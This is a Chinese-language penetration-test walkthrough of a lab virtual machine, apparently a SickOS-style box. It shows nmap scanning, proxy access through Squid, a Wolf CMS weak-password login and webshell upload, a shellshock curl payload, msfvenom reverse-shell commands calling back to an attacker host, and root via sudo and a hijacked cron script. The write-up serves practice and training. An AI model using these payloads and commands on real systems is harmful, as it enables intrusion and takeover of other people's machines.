信息收集
探测存活主机
发现存活主机为192.168.217.133
探测开放端口
nmap -sT -p- 192.168.217.133 -oA ./ports
发现两个端口开放,分别是22 3128,同时探测到了8080端口,但是显示是关闭的状态。
UDP端口探测
nmap -sU --top-ports 20 192.168.217.133 -oA ./ports
版本服务信息探测
nmap -sT -sV -sC -O -p22,3128,8080 192.168.217.133 -oA ./details
漏洞脚本探测
nmap -sT --script=vuln 192.168.217.133 -oA ./vuln
渗透测试
尝试访问192.168.217.133:
访问不到,由于上面信息收集到3128端口开放的服务是squid-http,不知道这是什么东西,百度下:
发现这是一个代理服务器,因此我们尝试利用这个代理去访问一下192.168.217.133地址!
我们尝试利用代理进行访问,成功能访问到目标靶机上的页面。
目录扫描
进行目录扫描的时候需要使用3128的代理:
发现robots.txt文件,尝试访问这个文件:
发现wolfcms,尝试访问这个目录:(确实存在一套内容管理系统!)
现在怎么办?不妨找一下这个系统公开漏洞尝试利用一下:
发现了这套系统存在后台的任意文件上传漏洞,后台的登陆地址为:ip/?/admin/login
确实存在相关的后台登陆地址,接下来我们先尝试弱口令进行登录:(admin/123456 失败! admin/admin成功!)
登陆成功上来发现了wolf cms 的版本为0.8.2,该版本存在任意文件上传漏洞!
编写木马的内容:(直接php一句话木马
利用蚁剑连接webshell:
当然了蚁剑是需要挂代理的!
权限是www-data权限,需要进行权限提升!
还有一种方法就是我们能够修改他的代码,尝试在articles中,添加反弹shell的代码:
之所以端口是443,是因为对方的机器可能是不出网的!
攻击机起一个监听:
当我们点击articles的时候,便会收到一个shell!
查看网站目录下的config.php文件:
发现了一个数据库的账号和密码!
查看用户信息:
cat /etc/passwd
发现了几个账号:root、最后面有一个sickos用户。尝试利用ssh进行登录:
提权
成功登录!查看权限:
sudo -l
具有全部的权限,看到三个ALL,也就证明我们几乎是拿到了最高权限!
sudo /bin/bash
切换到root的家目录:
另一种方式
这个看到红队笔记的打法:(利用nikto进行扫描)
nikto -h 192.168.217.133 -useproxy=http://192.168.217.133:3128/
经过扫描,发现存在shellshock漏洞。
shellshock简介
shellshock即unix 系统下的bash shell的一个漏洞,Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统。
判断是否真的存在shellshock漏洞
利用curl进行判断:
curl -v --proxy http://192.168.217.133:3128/ http://192.168.217.133/cgi-bin/status -H "Referer:() { test;}; echo 'Content-type: text/plain'; echo; echo; /usr/bin/id;exit"
利用msfvenom生成木马代码:
msfvenom -p cmd/unix/reverse_bash lhost=192.168.217.128 lport=443 -f raw
然后粘贴到curl中进行执行:
成功获取到反弹shell!
查看操作系统的相关信息:
uname -a
dpkg -l //查看操作系统都安装了哪些软件
发现安装了python,所以我们尝试利用python去开启一个交互性好的bash
python -c "import pty;pty.spawn('/bin/bash')"
之后我们尝试看一下网站的目录下存在什么东西,一般来说网站都在/var/www目录下:
有一个connect.py文件,看一下:
大概说是 我尝试非常规律的连接一些事情,你或许想要试试我的服务???
计划任务? 服务?
上述文件是/etc/crontab的结果!再看看cron.d:
发现了之前我们看到的那个connect文件的定时任务,大概就是每一分钟以root身份执行一下connect这个文件,因此我们可以在connect文件中写入代码,那么经过一分钟之后便会得到执行结果!
利用msfvenom生成一个反弹shell的代码:
msfvenom -p cmd/unix/reverse_python lhost=192.168.217.128 lport=444 -f raw
生成的代码如上,我们只需要将他放到connect.py文件中即可!
之后我们在攻击机上起一个监听!等一分钟后便会得到一个root的shell:
之后我们直接读取root家目录下的文件即可: